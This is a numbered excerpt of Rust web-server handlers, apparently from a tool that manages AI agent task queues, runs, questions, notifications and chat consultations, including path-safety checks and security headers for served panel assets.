7543 let force = body.force;
7544 mutate(ui, id, move |t| {
7545 if !force && body.instruction != t.instruction {
7546 match &judged {
7547 Some((instruction, repo)) if *instruction == t.instruction && *repo == t.repo => {}
7548 _ => {
7549 anyhow::bail!("the task changed while it was being checked; repeat the request")
7550 }
7551 }
7552 }
7553 t.edit(body.title.clone(), body.instruction.clone())
7554 })
7555 .await
7556}
7557
7558async fn queue_done(
7566 State(ui): State<Arc<Ui>>,
7567 Path(id): Path<String>,
7568) -> ApiResult<Json<TaskView>> {
7569 let home = ui.home.clone();
7570 mutate(ui, id, move |t| {
7571 t.succeed();
7572 crate::daemon::supersede_prior_runs(t, &home);
7580 Ok(())
7581 })
7582 .await
7583}
7584
7585async fn queue_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
7593 blocking(move || {
7594 let id = resolve_task(&ui.queue, &id)?;
7595 let in_flight = crate::daemon::is_working_on_task(&ui.home, &id, jiff::Timestamp::now());
7596 ui.queue
7597 .remove(&id, in_flight, &ui.questions)
7598 .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
7599 Ok(StatusCode::NO_CONTENT)
7600 })
7601 .await
7602}
7603
7604async fn mutate(
7613 ui: Arc<Ui>,
7614 id: String,
7615 change: impl FnOnce(&mut Task) -> Result<()> + Send + 'static,
7616) -> ApiResult<Json<TaskView>> {
7617 blocking(move || {
7618 let id = resolve_task(&ui.queue, &id)?;
7619 let _claim = ui.queue.claim(&id).map_err(|e| {
7624 ApiError::conflict(format!(
7625 "{e:#} - a daemon is running this task, so it cannot be \
7626 changed from here yet; wait until it is released, then retry"
7627 ))
7628 })?;
7629 let mut task = ui.queue.get(&id)?;
7630 change(&mut task).map_err(|e| match e.downcast::<crate::dupes::Duplicate>() {
7631 Ok(dup) => ApiError::conflict(dup.render(
7632 "Nothing was saved. If it is not a duplicate, repeat the request with \
7633 \"force\": true.",
7634 )),
7635 Err(e) => ApiError::bad_request_from(e),
7636 })?;
7637 ui.queue.put(&mut task)?;
7638 Ok(Json(TaskView::from(task)))
7639 })
7640 .await
7641}
7642
7643async fn events(State(ui): State<Arc<Ui>>) -> impl IntoResponse {
7648 ui.monitor.ensure_worker(&ui);
7649 let mut broadcast_rx = ui.monitor.broadcaster.subscribe();
7650 let (tx, rx) = tokio::sync::mpsc::channel::<Event>(4);
7651
7652 let state = Arc::clone(&ui);
7653 tokio::spawn(async move {
7654 let initial_revisions = {
7655 let guard = match state.monitor.latest.lock() {
7656 Ok(g) => g,
7657 Err(p) => p.into_inner(),
7658 };
7659 guard.as_ref().map(|(r, _)| *r)
7660 };
7661 if let Some(revisions) = initial_revisions {
7662 let initial_payload = serde_json::json!({
7663 "queue_rev": revisions.0,
7664 "runs_rev": revisions.1,
7665 "questions_rev": revisions.2,
7666 "talks_rev": revisions.3,
7667 "notifications_rev": revisions.4,
7668 "loop_rev": revisions.5,
7669 });
7670
7671 if let Ok(event) = Event::default().event("change").json_data(initial_payload) {
7672 if tx.send(event).await.is_err() {
7673 return;
7674 }
7675 }
7676 }
7677
7678 loop {
7679 match tokio::select! {
7680 _ = tx.closed() => return,
7681 value = broadcast_rx.recv() => value,
7682 } {
7683 Ok(notif) => {
7684 let Ok(event) = Event::default().event("change").json_data(notif.payload)
7685 else {
7686 break;
7687 };
7688 if tx.send(event).await.is_err() {
7689 break;
7690 }
7691 }
7692 Err(tokio::sync::broadcast::error::RecvError::Lagged(_)) => {
7693 let revs = {
7694 let guard = match state.monitor.latest.lock() {
7695 Ok(g) => g,
7696 Err(p) => p.into_inner(),
7697 };
7698 guard.as_ref().map(|(r, _)| *r)
7699 };
7700 if let Some(revs) = revs {
7701 let payload = serde_json::json!({
7702 "queue_rev": revs.0,
7703 "runs_rev": revs.1,
7704 "questions_rev": revs.2,
7705 "talks_rev": revs.3,
7706 "notifications_rev": revs.4,
7707 "loop_rev": revs.5,
7708 });
7709 if let Ok(event) = Event::default().event("change").json_data(payload) {
7710 if tx.send(event).await.is_err() {
7711 break;
7712 }
7713 }
7714 }
7715 }
7716 Err(tokio::sync::broadcast::error::RecvError::Closed) => {
7717 break;
7718 }
7719 }
7720 }
7721 });
7722
7723 Sse::new(ReceiverStream::new(rx).map(Ok::<Event, Infallible>))
7724 .keep_alive(KeepAlive::new().interval(KEEPALIVE))
7725}
7726
7727fn run_ids(runs: &FsPath) -> Vec<String> {
7733 let mut ids: Vec<String> = std::fs::read_dir(runs)
7734 .into_iter()
7735 .flatten()
7736 .flatten()
7737 .filter(|e| e.path().join("run.json").is_file())
7738 .map(|e| e.file_name().to_string_lossy().into_owned())
7739 .collect();
7740 ids.sort_unstable_by(|a, b| b.cmp(a));
7742 ids
7743}
7744
7745fn read_run(runs: &FsPath, id: &str) -> Result<RunState> {
7747 let path = runs.join(id).join("run.json");
7748 let body =
7749 std::fs::read_to_string(&path).with_context(|| format!("read {}", path.display()))?;
7750 let state: RunState =
7751 serde_json::from_str(&body).with_context(|| format!("parse {}", path.display()))?;
7752 run::migrate_schema(state)
7757}
7758
7759#[must_use]
7767pub fn runs_unreadable(runs: &FsPath) -> usize {
7768 run_ids(runs)
7769 .into_iter()
7770 .filter(|id| read_run(runs, id).is_err())
7771 .count()
7772}
7773
7774fn plain_record_id(id: &str) -> bool {
7775 !id.is_empty() && id != "." && id != ".." && !id.contains(['/', '\\'])
7776}
7777
7778fn resolve_run(runs: &FsPath, id: &str) -> ApiResult<String> {
7780 if plain_record_id(id) && runs.join(id).join("run.json").is_file() {
7781 return Ok(id.to_owned());
7782 }
7783 pick(run_ids(runs), id, "run")
7784}
7785
7786fn resolve_task(queue: &Queue, id: &str) -> ApiResult<String> {
7788 if plain_record_id(id) && queue.path_of(id).is_file() {
7789 return Ok(id.to_owned());
7790 }
7791 let ids = crate::queue::record_ids(queue.root(), "json").unwrap_or_default();
7792 pick(ids, id, "task")
7793}
7794
7795#[derive(Debug, Serialize)]
7806struct QuestionView {
7807 choice_effects: std::collections::BTreeMap<String, String>,
7808 record_revision: String,
7809 #[serde(flatten)]
7810 question: Question,
7811 detail_md: Vec<md::Node>,
7812 posting_view: Option<PostingView>,
7813 thread_bodies_md: Vec<Vec<md::Node>>,
7815 thread_notes_md: Vec<Option<Vec<md::Node>>>,
7818 waiting_on_agent: bool,
7828 holder: Option<&'static str>,
7832 deputies_enabled: bool,
7836 deputy_exhausted: bool,
7839 text_delivery: crate::question_delivery::Availability,
7840 run_is_task: bool,
7843 origin_chat: Option<String>,
7846 origin_chat_closed: bool,
7848 can_consult_chat: bool,
7850}
7851
7852#[derive(Debug, Serialize)]
7853struct PostingView {
7854 before_md: Vec<md::Node>,
7855 after_md: Vec<md::Node>,
7856 fields: Vec<crate::github_text::ComparisonView>,
7857}
7858
7859fn posting_view(question: &Question, base: &md::ImageBase) -> Option<PostingView> {
7860 let comparison = question.posting_comparison.as_ref()?;
7861 if !comparison.matches_detail(&question.detail) {
7862 return None;
7863 }
7864 let mut ids = std::collections::BTreeSet::new();
7865 if comparison.fields.is_empty()
7866 || comparison
7867 .fields
7868 .iter()
7869 .flat_map(|f| &f.pairs)
7870 .any(|p| !ids.insert(p.id))
7871 || comparison
7872 .fields
7873 .iter()
7874 .flat_map(|f| &f.original_triggers)
7875 .any(|t| !ids.insert(t.id))
7876 {
7877 return None;
7878 }
7879 let fields = comparison
7880 .fields
7881 .iter()
7882 .map(|f| f.view(comparison.excerpt))
7883 .collect::<Option<Vec<_>>>()?;
7884 Some(PostingView {
7885 before_md: md::to_nodes(question.detail.get(..comparison.start)?, base),
7886 after_md: md::to_nodes(question.detail.get(comparison.end..)?, base),
7887 fields,
7888 })
7889}
7890
7891impl QuestionView {
7892 fn of(question: Question, store: &ask::Questions, cfg: Option<&Config>) -> Self {
7896 let base = md::ImageBase::QuestionPanel {
7897 id: question.id.clone(),
7898 };
7899 let holder = holder_of(&question, store.read_lease(&question.id).as_ref());
7900 Self {
7901 choice_effects: question
7902 .choices
7903 .iter()
7904 .filter_map(|c| {
7905 crate::choice_effect::describe(&question, c).map(|effect| (c.clone(), effect))
7906 })
7907 .collect(),
7908 record_revision: question_record_revision(&question),
7909 detail_md: md::to_nodes(&question.detail, &base),
7910 posting_view: posting_view(&question, &base),
7911 thread_bodies_md: question
7912 .thread
7913 .iter()
7914 .map(|t| md::to_nodes(&t.body, &base))
7915 .collect(),
7916 thread_notes_md: question
7917 .thread
7918 .iter()
7919 .map(|t| t.note.as_deref().map(|n| md::to_nodes(n, &base)))
7920 .collect(),
7921 deputy_exhausted: store.deputy_exhausted(&question),
7922 waiting_on_agent: question.waiting_on_agent(),
7923 holder,
7924 deputies_enabled: deputies_enabled(cfg, &question),
7925 text_delivery: crate::question_delivery::availability(store, &question, cfg),
7926 run_is_task: question.run_names_task(),
7927 origin_chat: None,
7928 origin_chat_closed: false,
7929 can_consult_chat: false,
7930 question,
7931 }
7932 }
7933
7934 fn with_origin(
7936 mut self,
7937 tasks: &[crate::queue::Task],
7938 talks: &[Talk],
7939 watches: &[crate::release_watch::WatchState],
7940 ) -> Self {
7941 let consult = crate::consult::origin_talk(tasks, talks, &self.question);
7942 self.can_consult_chat = consult.is_some();
7943 let talk =
7944 crate::consult::associated_talk_with_watches(tasks, talks, &self.question, watches);
7945 self.origin_chat_closed = talk.as_ref().is_some_and(|t| !t.status.open());
7946 self.origin_chat = talk.map(|t| t.id);
7947 self
7948 }
7949}
7950
7951fn deputy_config(repo: &std::path::Path) -> Option<Config> {
7955 Config::discover(repo, None).ok().map(|(c, _)| c)
7956}
7957
7958fn deputies_enabled(cfg: Option<&Config>, q: &Question) -> bool {
7960 crate::deputy::can_start(cfg, crate::deputy::agent_of(q))
7961}
7962
7963fn question_views(
7966 qs: Vec<Question>,
7967 store: &ask::Questions,
7968 load: impl FnOnce() -> Option<Config>,
7969) -> Vec<QuestionView> {
7970 if qs.is_empty() {
7971 return Vec::new();
7972 }
7973 let cfg = load();
7974 qs.into_iter()
7975 .map(|q| QuestionView::of(q, store, cfg.as_ref()))
7976 .collect()
7977}
7978
7979fn holder_of(q: &Question, lease: Option<&ask::Lease>) -> Option<&'static str> {
7989 if !q.status.open() {
7990 return None;
7991 }
7992 if q.cwd.is_none()
7993 && q.deputy.is_none()
7994 && lease.is_none_or(|l| !l.fresh(jiff::Timestamp::now()))
7995 {
7996 return crate::deputy::kind_of(q).map(|_| "nobody");
7997 }
7998 Some(match lease.filter(|l| l.fresh(jiff::Timestamp::now())) {
7999 Some(_) if q.deputy.is_some() => "deputy",
8000 Some(l) if l.kind == ask::WaiterKind::Daemon => "daemon",
8001 Some(_) => "asker",
8002 None => "nobody",
8003 })
8004}
8005
8006#[derive(serde::Serialize)]
8012struct DecisionView {
8013 id: String,
8014 task: String,
8015 run: Option<String>,
8016 chat: Option<String>,
8017 display: String,
8018 delivery_error: Option<String>,
8019 decision: crate::task_decision::Decision,
8020}
8021
8022impl DecisionView {
8023 fn from_inquiry(inquiry: crate::task_inquiry::Inquiry) -> Option<Self> {
8024 Some(Self {
8025 id: inquiry.id,
8026 task: inquiry.task,
8027 run: inquiry.run,
8028 chat: inquiry.delivered_to,
8029 display: inquiry.display,
8030 delivery_error: inquiry.delivery_error,
8031 decision: inquiry.decision?,
8032 })
8033 }
8034}
8035
8036#[derive(serde::Serialize)]
8037struct DecisionsView {
8038 items: Vec<DecisionView>,
8039 unreadable: usize,
8040 migration_errors: Vec<crate::task_chat::MigrationIssue>,
8041}
8042
8043async fn decisions_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<DecisionsView>> {
8046 blocking(move || {
8047 let (items, unreadable) = crate::task_inquiry::Outbox::at(&ui.home).list_readable()?;
8048 let mut views: Vec<_> = items
8049 .into_iter()
8050 .filter_map(DecisionView::from_inquiry)
8051 .collect();
8052 views.sort_by_key(|view| {
8053 (
8054 view.decision.status == crate::task_decision::Status::Resolved,
8055 view.id.clone(),
8056 )
8057 });
8058 Ok(Json(DecisionsView {
8059 items: views,
8060 unreadable,
8061 migration_errors: crate::task_chat::migration_issues(&ui.home),
8062 }))
8063 })
8064 .await
8065}
8066
8067async fn decision_get(
8068 State(ui): State<Arc<Ui>>,
8069 Path(id): Path<String>,
8070) -> ApiResult<Json<DecisionView>> {
8071 blocking(move || {
8072 let inquiry = crate::task_inquiry::Outbox::at(&ui.home).get(&id)?;
8073 DecisionView::from_inquiry(inquiry)
8074 .map(Json)
8075 .ok_or_else(|| ApiError::not_found("inquiry is informational"))
8076 })
8077 .await
8078}
8079
8080async fn questions_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionView>>> {
8081 blocking(move || {
8082 let questions = ui.questions.list();
8083 let (tasks, talks, watches) = question_origin_inputs(&ui, &questions)?;
8084 Ok(Json(
8085 question_views(questions, &ui.questions, || deputy_config(&ui.repo))
8086 .into_iter()
8087 .map(|view| view.with_origin(&tasks, &talks, &watches))
8088 .collect(),
8089 ))
8090 })
8091 .await
8092}
8093
8094async fn questions_core(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionView>>> {
8096 blocking(move || {
8097 Ok(Json(question_views(
8098 ui.questions.list(),
8099 &ui.questions,
8100 || deputy_config(&ui.repo),
8101 )))
8102 })
8103 .await
8104}
8105
8106fn question_record_revision(question: &Question) -> String {
8107 use std::hash::{Hash as _, Hasher as _};
8108 let mut hash = std::hash::DefaultHasher::new();
8109 serde_json::to_vec(question)
8110 .expect("serializable question")
8111 .hash(&mut hash);
8112 format!("{:016x}", hash.finish())
8113}
8114
8115#[derive(Serialize)]
8116struct QuestionOriginView {
8117 id: String,
8118 record_revision: String,
8119 origin_chat: Option<String>,
8120 origin_chat_closed: bool,
8121 can_consult_chat: bool,
8122}
8123
8124async fn question_origins(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionOriginView>>> {
8125 blocking(move || {
8126 let questions = ui.questions.list();
8127 let (tasks, talks, watches) = question_origin_inputs(&ui, &questions)?;
8128 Ok(Json(
8129 questions
8130 .into_iter()
8131 .map(|question| {
8132 let consult = crate::consult::origin_talk(&tasks, &talks, &question);
8133 let can_consult_chat = consult.is_some();
8134 let talk = crate::consult::associated_talk_with_watches(
8135 &tasks, &talks, &question, &watches,
8136 );
8137 QuestionOriginView {
8138 record_revision: question_record_revision(&question),
8139 id: question.id,
8140 origin_chat_closed: talk.as_ref().is_some_and(|talk| !talk.status.open()),
8141 origin_chat: talk.map(|talk| talk.id),
8142 can_consult_chat,
8143 }
8144 })
8145 .collect(),
8146 ))
8147 })
8148 .await
8149}
8150
8151type QuestionOriginInputs = (Vec<Task>, Vec<Talk>, Vec<crate::release_watch::WatchState>);
8152
8153fn question_origin_inputs(ui: &Ui, questions: &[Question]) -> ApiResult<QuestionOriginInputs> {
8157 fn task_for_run(
8158 ui: &Ui,
8159 index: &mut Option<Vec<Arc<TaskRelation>>>,
8160 run: &str,
8161 loaded: &HashMap<String, Task>,
8162 ) -> ApiResult<Option<Task>> {
8163 if !plain_record_id(run) {
8164 return Ok(None);
8165 }
8166 if index.is_none() {
8167 *index = Some(ui.indexed_tasks()?);
8168 }
8169 Ok(index
8170 .as_ref()
8171 .expect("loaded index")
8172 .iter()
8173 .find(|task| task.runs.iter().any(|id| id == run))
8174 .and_then(|task| {
8175 loaded
8176 .get(&task.id)
8177 .cloned()
8178 .or_else(|| ui.queue.get(&task.id).ok())
8179 })
8180 .filter(|task| task.runs.iter().any(|id| id == run)))
8181 }
8182 let direct_task = |id: &str, loaded: &HashMap<String, Task>| {
8183 plain_record_id(id)
8184 .then(|| loaded.get(id).cloned().or_else(|| ui.queue.get(id).ok()))
8185 .flatten()
8186 .filter(|task| task.id == id)
8187 };
8188 let watches = crate::release_watch::states_for_questions(&ui.home, questions);
8189 let mut index = None;
8190 let mut tasks = HashMap::new();
8191 let mut talks = HashMap::new();
8192 for question in questions {
8193 for reference in crate::consult::question_task_refs(question, &watches) {
8194 let mut current = match reference {
8195 crate::consult::QuestionTaskRef::Task(id) => direct_task(id, &tasks),
8196 crate::consult::QuestionTaskRef::Run(id) => {
8197 task_for_run(ui, &mut index, id, &tasks)?
8198 }
8199 };
8200 let mut seen = HashSet::new();
8201 for _ in 0..=crate::followup::MAX_FOLLOWUP_GENERATION {
8202 let Some(task) = current.take() else {
8203 break;
8204 };
8205 if !seen.insert(task.id.clone()) {
8206 break;
8207 }
8208 let chat = task.chat_talk().map(str::to_owned);
8209 let followup = task.followup.clone();
8210 tasks.insert(task.id.clone(), task);
8211 if let Some(chat) = chat {
8212 if plain_record_id(&chat)
8213 && !talks.contains_key(&chat)
8214 && let Ok(talk) = ui.talks.get(&chat)
8215 {
8216 talks.insert(chat, talk);
8217 }
8218 break;
8219 }
8220 let Some(followup) = followup else {
8221 break;
8222 };
8223 current = match followup.origin_task {
8224 Some(id) => direct_task(&id, &tasks),
8225 None => task_for_run(ui, &mut index, &followup.run, &tasks)?,
8226 };
8227 }
8228 }
8229 }
8230 let mut tasks: Vec<Task> = tasks.into_values().collect();
8231 tasks.sort_unstable_by(|a, b| b.priority.cmp(&a.priority).then_with(|| b.id.cmp(&a.id)));
8232 Ok((tasks, talks.into_values().collect(), watches))
8233}
8234
8235async fn notifications_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
8238 blocking(move || {
8239 let items = ui.notices.list();
8240 let unread = items.iter().filter(|n| n.unread()).count();
8241 let items: Vec<_> = items
8242 .into_iter()
8243 .map(|n| {
8244 let question = crate::notices::answerable_question(&n, &ui.questions);
8245 let mut item = serde_json::to_value(n)?;
8246 item["answerable_question"] = serde_json::json!(question);
8247 Ok(item)
8248 })
8249 .collect::<anyhow::Result<_>>()?;
8250 Ok(Json(
8251 serde_json::json!({ "unread": unread, "items": items }),
8252 ))
8253 })
8254 .await
8255}
8256
8257fn notice_error(e: anyhow::Error) -> ApiError {
8258 ApiError::not_found(format!("{e:#}"))
8261}
8262
8263async fn notification_read(
8265 State(ui): State<Arc<Ui>>,
8266 Path(id): Path<String>,
8267) -> ApiResult<Json<Notice>> {
8268 blocking(move || ui.notices.mark_read(&id).map(Json).map_err(notice_error)).await
8269}
8270
8271async fn notification_dismiss(
8273 State(ui): State<Arc<Ui>>,
8274 Path(id): Path<String>,
8275) -> ApiResult<Json<Notice>> {
8276 blocking(move || ui.notices.dismiss(&id).map(Json).map_err(notice_error)).await
8277}
8278
8279async fn notifications_read_all(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
8281 blocking(move || {
8282 let changed = ui.notices.mark_all_read()?;
8283 Ok(Json(serde_json::json!({ "marked": changed })))
8284 })
8285 .await
8286}
8287
8288#[derive(Debug, Default, Deserialize)]
8294#[serde(default, deny_unknown_fields)]
8295struct NewAnswer {
8296 choice: Option<String>,
8297 text: Option<String>,
8298 talk: Option<String>,
8299 head: Option<String>,
8300}
8301
8302async fn question_answer(
8303 State(ui): State<Arc<Ui>>,
8304 Path(id): Path<String>,
8305 body: std::result::Result<Json<NewAnswer>, axum::extract::rejection::JsonRejection>,
8306) -> ApiResult<Json<QuestionView>> {
8307 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
8308 let answer = match (body.choice, body.text) {
8309 (Some(c), None) => Answer::Choice(c),
8310 (None, Some(t)) => Answer::Text(t),
8311 (Some(_), Some(_)) => {
8312 return Err(ApiError::bad_request(
8313 "send either `choice` or `text`, not both",
8314 ));
8315 }
8316 (None, None) => {
8317 return Err(ApiError::bad_request("send a `choice` or a `text`"));
8318 }
8319 };
8320
8321 blocking(move || {
8322 let id = resolve_question(&ui.questions, &id)?;
8323 let q = ui
8324 .questions
8325 .get(&id)
8326 .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
8327 if !q.status.open() {
8328 return Err(ApiError::conflict(format!(
8332 "question {} is already {}",
8333 q.short(),
8334 q.status.as_str()
8335 )));
8336 }
8337 let cfg = deputy_config(&ui.repo);
8341 let (q, ()) = ui
8342 .questions
8343 .update(&q.id, |r| {
8344 let merge = matches!(&answer, ask::Answer::Choice(c) if c == crate::land::APPROVE);
8345 if r.routed_task.is_some()
8348 && r.merge_target.is_some()
8349 && merge
8350 && (body.talk.is_some() || body.head.is_some())
8351 {
8352 let talk_id = body
8353 .talk
8354 .as_deref()
8355 .context("approval button requires its chat")?;
8356 let head = body
8357 .head
8358 .as_deref()
8359 .context("approval button requires the displayed head")?;
8360 let talk = ui.talks.get(talk_id)?;
8361 anyhow::ensure!(talk.status.open(), "approval chat is closed");
8362 r.answer_chat_button(answer, talk_id, head)
8363 } else {
8364 r.answer(answer)
8365 }
8366 })
8367 .map_err(ApiError::bad_request_from)?;
8368 let (tasks, talks, watches) =
8369 question_origin_inputs(&ui, std::slice::from_ref(&q)).unwrap_or_default();
8370 Ok(Json(
8371 QuestionView::of(q, &ui.questions, cfg.as_ref()).with_origin(&tasks, &talks, &watches),
8372 ))
8373 })
8374 .await
8375}
8376
8377fn question_text_error(e: anyhow::Error) -> ApiError {
8379 let reason = e
8380 .downcast_ref::<crate::question_delivery::TextUnavailable>()
8381 .map(|e| e.reason);
8382 let error = ApiError::bad_request_from(e);
8383 if let Some(reason) = reason {
8384 ApiError {
8385 text_reason: Some(reason),
8386 ..error.with_status(StatusCode::UNPROCESSABLE_ENTITY)
8387 }
8388 } else {
8389 error
8390 }
8391}
8392
8393#[derive(Debug, Deserialize)]
8395#[serde(deny_unknown_fields)]
8396struct NewSay {
8397 body: String,
8398}
8399
8400async fn question_say(
8410 State(ui): State<Arc<Ui>>,
8411 Path(id): Path<String>,
8412 body: std::result::Result<Json<NewSay>, JsonRejection>,
8413) -> ApiResult<Json<QuestionView>> {
8414 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
8415 blocking(move || {
8416 let id = resolve_question(&ui.questions, &id)?;
8417 let q = ui
8418 .questions
8419 .get(&id)
8420 .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
8421 if !q.status.open() {
8422 return Err(ApiError::conflict(format!(
8426 "question {} is already {}",
8427 q.short(),
8428 q.status.as_str()
8429 )));
8430 }
8431 let cfg = deputy_config(&ui.repo);
8434 let (q, ()) = ui
8435 .questions
8436 .update(&q.id, |r| {
8437 if body.body.trim().is_empty() {
8438 return r.say(body.body);
8439 }
8440 crate::question_delivery::require(&ui.questions, r, cfg.as_ref())?;
8441 r.say(body.body)
8442 })
8443 .map_err(question_text_error)?;
8444 let (tasks, talks, watches) =
8445 question_origin_inputs(&ui, std::slice::from_ref(&q)).unwrap_or_default();
8446 Ok(Json(
8447 QuestionView::of(q, &ui.questions, cfg.as_ref()).with_origin(&tasks, &talks, &watches),
8448 ))
8449 })
8450 .await
8451}
8452
8453async fn admitted<T: Send + 'static>(
8456 admission: AdmissionGuard,
8457 work: impl Future<Output = ApiResult<T>> + Send + 'static,
8458) -> ApiResult<T> {
8459 tokio::spawn(async move {
8460 let result = work.await;
8461 drop(admission);
8462 result
8463 })
8464 .await
8465 .map_err(|error| ApiError::internal(format!("work admission failed: {error}")))?
8466}
8467
8468async fn question_consult(
8477 State(ui): State<Arc<Ui>>,
8478 Path(id): Path<String>,
8479) -> ApiResult<(StatusCode, Json<QuestionView>)> {
8480 let admission = ui.begin_admission()?;
8481 admitted(admission, async move {
8482 let (q, tasks, talks, watches, talk, cfg) = blocking({
8483 let ui = Arc::clone(&ui);
8484 move || {
8485 let id = resolve_question(&ui.questions, &id)?;
8486 let q = ui.questions.get(&id).map_err(|e| {
8487 ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR)
8488 })?;
8489 if !q.status.open() {
8490 return Err(ApiError::conflict(format!(
8491 "question {} is already {}",
8492 q.short(),
8493 q.status.as_str()
8494 )));
8495 }
8496 let (tasks, talks, watches) =
8497 question_origin_inputs(&ui, std::slice::from_ref(&q))?;
8498 let Some(talk) = crate::consult::origin_talk(&tasks, &talks, &q) else {
8499 return Err(ApiError::conflict(format!(
8500 "question {} has no chat to ask",
8501 q.short()
8502 )));
8503 };
8504 let cfg = if q.consult.is_none() {
8508 Some(Config::discover(&talk.repo, None)?.0)
8509 } else {
8510 None
8511 };
8512 Ok((q, tasks, talks, watches, talk, cfg))
8513 }
8514 })
8515 .await?;
8516 let _publication = crate::chat_worker::publication_guard(&ui.talks, &talk.id)
8517 .await
8518 .map_err(ApiError::from)?;
8519 let (view, reclaimed, submitted) = blocking({
8520 let ui = Arc::clone(&ui);
8521 move || {
8522 let fresh = crate::consult::begin(&ui.questions, &ui.talks, &q, &talk)?;
8523 let claim = if fresh {
8524 match ui.begin_queued_talk_turn(&talk.id)? {
8525 Some(turn_guard) => {
8526 let talk = ui.talks.get(&talk.id)?;
8527 let cfg = match cfg {
8528 Some(cfg) => cfg,
8529 None => Config::discover(&talk.repo, None)?.0,
8530 };
8531 Some((talk, cfg, turn_guard))
8532 }
8533 None => None,
8534 }
8535 } else {
8536 None
8537 };
8538 let q = ui.questions.get(&q.id)?;
8539 let cfg = deputy_config(&ui.repo);
8540 let view = QuestionView::of(q, &ui.questions, cfg.as_ref())
8541 .with_origin(&tasks, &talks, &watches);
8542 Ok((view, claim, fresh.then_some(talk.id)))
8543 }
8544 })
8545 .await?;
8546 #[cfg(not(test))]
8547 {
8548 if let Some(id) = submitted {
8549 crate::chat_worker::spawn_turn(&ui.talks, &id)
8550 .await
8551 .map_err(ApiError::from)?;
8552 }
8553 drop(reclaimed);
8554 }
8555 #[cfg(test)]
8556 let _ = submitted;
8557 #[cfg(test)]
8558 if let Some((talk, cfg, turn_guard)) = reclaimed {
8559 let talks = ui.talks.clone();
8560 let id = talk.id.clone();
8561 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
8562 }
8563 Ok((StatusCode::ACCEPTED, Json(view)))
8564 })
8565 .await
8566}
8567
8568fn resolve_question(store: &Questions, id: &str) -> ApiResult<String> {
8570 if plain_record_id(id) && store.path_of(id).is_file() {
8571 return Ok(id.to_owned());
8572 }
8573 pick(
8574 store.list().into_iter().map(|q| q.id).collect(),
8575 id,
8576 "question",
8577 )
8578}
8579
8580async fn question_panel(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Response> {
8595 blocking(move || {
8596 let id = resolve_question(&ui.questions, &id)?;
8597 let Some(html) = ui.questions.panel_html(&id) else {
8598 return Err(ApiError::not_found(format!("question {id} has no panel")));
8599 };
8600 Ok(panel_response(
8601 "text/html; charset=utf-8",
8602 false,
8603 html.into_bytes(),
8604 ))
8605 })
8606 .await
8607}
8608
8609async fn question_asset(
8637 State(ui): State<Arc<Ui>>,
8638 Path((id, name)): Path<(String, String)>,
8639) -> ApiResult<Response> {
8640 if !crate::ask::valid_asset_name(&name) {
8643 return Err(ApiError::bad_request(format!(
8644 "`{name}` is not a usable asset name"
8645 )));
8646 }
8647 blocking(move || {
8648 let id = resolve_question(&ui.questions, &id)?;
8649 let asset = ui
8650 .questions
8651 .panel_asset(&id, &name)
8652 .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
8653 let Some(bytes) = asset else {
8654 return Err(ApiError::not_found(format!(
8655 "question {id} has no asset `{name}`"
8656 )));
8657 };
8658 Ok(panel_response(
8659 asset_content_type(&name),
8660 is_svg(&name),
8661 bytes,
8662 ))
8663 })
8664 .await
8665}
8666
8667fn asset_content_type(name: &str) -> &'static str {
8680 match extension(name).as_deref() {
8681 Some("png") => "image/png",
8682 Some("jpg" | "jpeg") => "image/jpeg",
8683 Some("gif") => "image/gif",
8684 Some("webp") => "image/webp",
8685 Some("svg") => "image/svg+xml",
8686 Some("css") => "text/css; charset=utf-8",
8687 Some("txt") => "text/plain; charset=utf-8",
8688 _ => "application/octet-stream",
8689 }
8690}
8691
8692fn is_svg(name: &str) -> bool {
8695 extension(name).as_deref() == Some("svg")
8696}
8697
8698fn extension(name: &str) -> Option<String> {
8700 name.rsplit_once('.')
8701 .map(|(_, ext)| ext.to_ascii_lowercase())
8702}
8703
8704fn panel_response(content_type: &'static str, download: bool, body: Vec<u8>) -> Response {
8721 let mut res = (
8722 [
8723 (header::CONTENT_TYPE, content_type),
8724 (header::CONTENT_SECURITY_POLICY, PANEL_CSP),
8725 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
8726 (header::REFERRER_POLICY, "no-referrer"),
8727 ],
8728 body,
8729 )
8730 .into_response();
8731 if download {
8732 res.headers_mut().insert(
8733 header::CONTENT_DISPOSITION,
8734 HeaderValue::from_static("attachment"),
8735 );
8736 }
8737 res
8738}
8739
8740#[derive(Debug, Serialize)]
8746struct ChatApproval {
8747 question: String,
8748 target: crate::merge_decision::Target,
8749}
8750
8751#[derive(Debug, Serialize)]
8752struct TalkView {
8753 #[serde(flatten)]
8754 talk: Talk,
8755 turn_bodies_md: Vec<Vec<md::Node>>,
8756 turn_messages_md: Vec<Vec<Option<Vec<md::Node>>>>,
8758 pending_messages_md: Vec<Option<Vec<md::Node>>>,
8759 merge_approvals: Vec<ChatApproval>,
8760 thinking: bool,
8768 context: talk::ContextUsage,
8772 operator_name: Option<String>,
8775 persona_name: Option<String>,
8777 persona_avatar: String,
8780 operator_avatar: String,
8782 magi_avatar: String,
8783}
8784
8785impl TalkView {
8786 fn new(talk: Talk, thinking: bool, ui: &Ui) -> Self {
8789 let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
8790 Self::with_config(talk, thinking, cfg.as_ref(), &ui.home, &ui.references)
8791 }
8792
8793 fn with_config(
8796 talk: Talk,
8797 thinking: bool,
8798 cfg: Option<&Config>,
8799 home: &FsPath,
8800 cache: &id_links::IndexCache,
8801 ) -> Self {
8802 let references = cache.for_talk(home, &talk);
